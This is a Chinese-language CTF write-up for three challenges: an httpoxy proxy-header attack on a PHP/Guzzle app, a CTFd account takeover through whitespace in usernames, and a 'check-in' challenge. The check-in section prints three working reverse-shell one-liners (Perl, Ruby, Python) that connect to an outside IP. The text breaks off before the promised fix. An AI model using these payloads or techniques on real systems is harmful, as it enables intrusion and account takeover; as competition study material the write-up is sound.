V&N考核赛 wp

TimeTravel

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;

highlight_file(__FILE__);

if(isset($_GET['flag'])) {
$client = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible');
$content = $response->getBody();
$data = json_decode($content, TRUE);
if($data['success'] === true) {
echo system('/readflag');
}
}

if(isset($_GET['file'])) {
highlight_file($_GET['file']);
}

if(isset($_GET['phpinfo'])) {
phpinfo();
}

Guzzle:

Guzzle是一个PHP的HTTP客户端,用来轻而易举地发送请求,并集成到我们的WEB服务上。Guzzle提供了简单的接口,构建查询语句、POST请求、分流上传下载大文件、使用HTTP cookies、上传JSON数据等等。

php版本为5.6.23,使用了cgi-fcgi,其他没啥信息

通过文件读取,把相关的vendor、composer…等目录下的文件读了一遍,感觉没有存在可疑的地方;

找相关cve,在vulhub上找到一篇有关的文章:

https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy

就是cgi会把proxy放入环境变量中,有些类库会提取环境变量的值作为HTTP代理地址,比如以前的guzzle:

https://github.com/guzzle/guzzle/commit/9d521b23146cb6cedd772770a2617fd6cbdb1596#diff-ff73e042e738204c6da009e2ed19f783L166

在PHP5.6.24修复了这个bug,在vps上监听个端口,然后设置:

Proxy: http://62.234.62.226:666

可以接收到请求,说明这个题目的环境是可以利用的;然后构造一个index.php,内容为:

{"success":true}

放到api/eligible下面;之后guzzle在请求http://127.0.0.1:5000/api/eligible时会请求设置的这个代理,获取内容正确,得到flag:

check-in

发现不能使用平常的用bash/sh反弹shell,curl也不能;ping可以dns带外,不过找不到flag在哪,而且真的慢。在网上找了几个不用bash/shell的试了一遍:

1.

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"62.234.60.226:666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

2.

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("62.234.60.226","666");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

3.

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('62.234.60.226',666))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

使用第一个perl的反弹shell成功,找到proc目录下,读取进程号中的fd目录下的文件(不知道为撒本进程读不到)

赛后看师傅们的思路,其实是可以用python反弹的,不过是python3…因此,上面的payload把python改为python3也是可以利用的;还有的师傅没有反弹shell,直接用Python命令行,写个循环把cat /proc/i/fd/3的结果返回给vps

可以简单的判断一下能不能用python/python3:

python3 -c "import time;time.sleep(3)"

HappyCTFd

题目是一个ctfd平台;开始搞错了,总以为Access Tokens那有问题,一直在测xxe、sql注入,后来看到有个用户admin,试着测逻辑有没有漏洞,找回密码时能不能越权…再后来注册了一个admin(admin+空格)的用户,可以登录上,但还是是一般用户权限,而且在个人信息修改处发现空格不见了,可以跟admin重名了;退出重新登录发现权限还是一般用户的权限,试着找回密码,填写自己的邮箱重置密码后,发现登录后权限变成admin的权限了;在challenge发现一道题目,有个附件打开就是flag。。枯了

这道题是CTFd前些天出的一个1day漏洞(佩服自己瞎搞搞出来了),就是在注册时,验证用户名是否存在的时候,用的是没去掉空格的名字进行验证的;但之后在保存的时候,用的却是去掉空格的名字;在重置密码时,用的是去掉空格之后的名字,重置的也是去掉空格之后的名字对应的密码

github上找到对应的地方,其修复如下: